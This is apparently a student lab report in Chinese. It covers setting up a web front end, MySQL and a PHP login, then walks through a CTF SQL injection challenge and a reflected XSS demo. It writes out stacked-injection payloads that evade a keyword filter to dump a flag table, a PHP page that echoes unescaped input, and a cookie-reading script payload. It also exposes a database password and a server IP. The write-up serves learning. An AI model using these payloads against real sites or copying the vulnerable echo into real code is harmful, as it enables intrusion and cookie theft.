实践目标
本实践目标是构建 Web 服务,并进行一些简单的攻击实践
实践过程
web 前端
用 React
写了一个注册界面,放在了nginx
上,如下:
http://47.94.47.203:8080/register
web 后端
一、Mysql 基础 (Mysql 8 版本)
我 linux
上默认装的是 psql
,就在 windows
主机上装了一个 mysql
-
输入
show databases
,查看有多少数据库 -
使用
CREATE USER 'username'@'server' IDENTIFIED BY 'password';
来创建新用户 -
使用
GRANT (SELECT, update……) ON 数据库名.表名 TO '用户名'@'数据库IP';
给新用户授权 -
使用新建的用户登录
二、编写PHP网页
-
windows
下启动php
php-cgi.exe -b 127.0.0.1:9000
-
配置
nginx
-
在
上图中的 root
下创建index.php
,内容为<?php echo phpinfo(); ?>
浏览器打开,可见
-
大多数情况下还是使用
phpStorm
,其会自动调用php-cgi.exe
,并监听9000
端口 -
php
简单的登录功能php
是一个安全问题非常严重的弱类型语言,操作数据库的底线是采用预处理
。这里我使用PDO 预处理
// index.php <?php $user_name = $_POST['username']; $password = $_POST['password']; $servername = "localhost"; $db_user = "root"; $db_password = "hwqmingdi"; $dbname = "blog"; try { $conn = new PDO("mysql:host=$servername;dbname=$dbname", $db_user, $db_password); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $conn->prepare("SELECT * FROM users where username = ? and password = ?"); $stmt->execute(array($user_name, $password)); // 设置结果集为关联数组 $result = $stmt->fetchAll(); if (count($result) > 0) { echo "Welcome " . $result[0]['username']; } else { echo "login fail"; } } catch(PDOException $e) { echo "Error: " . $e->getMessage(); }
将
form
中的action
写为login.php
,就可以登录
sql 注入
这里我们看这道题 https://github.com/glzjin/qwb_2019_supersqli
-
首先探测参数引号闭合规则
1' and 1=1# // true 1' and 1=2# // false
可见参数采用单引号闭合
-
尝试获取列数
1' order by 2# //正常 1' order by 3# // 报错
可以发现列数为 2 列
-
试一试
union
查询1' union select user()#
发现
select
等被过滤了 -
试一试堆叠查询
-1';show tables#
我们可以看到数据库中有两个表,数组的第一项就是表名
-
堆叠注入查看表的字段
-1';desc `1919810931114514`# -1';desc `words`#
-
我们要得到表
1919810931114514
的flag
字段。但是,select
已经被过滤掉了。这里我们可以采用mysql
的预编译语法,如下:set用于设置变量名和值 prepare用于预备一个语句,并赋予名称,以后可以引用该语句 execute执行语句 deallocate prepare用来释放掉预处理的语句
采用
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
得到结果
-
strstr()
函数把prepare
和set
过滤了,但是查阅资料,可以发现strstr
这个函数区分大小写,我们将set
,prepare
大写即可-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
得到结果,注入成功
xss
对 xss
没有研究,只知道可以利用输入框等插入恶意代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input" style="width: 300px;">
<input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?>
</body>
</html>
可以在 <input/>
中输入 <script>alert(document.cookie);</script>
页面加载时会自动执行 <script>
内的语句,从而弹出 cookie
实验总结与问题回答
什么是表单
- 表单可以进行前台向后台的数据传输。
- 表单有三个基本组成部分:
- 表单标签:包含处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
- 表单域:包含文本框、密码框、多行文本框等一系列表单形式。
- 表单按钮:包含提交按钮,复位按钮以及一般按钮
浏览器可以解析运行什么语言
首先,各脚本语言(php,asp 等)并不是浏览器解析运行的。
浏览器可以自解析运行的有
- html
- javascript
- css
WebServer支持哪些动态语言
-
tomcat
支持的有jsp
-
iis
支持aspx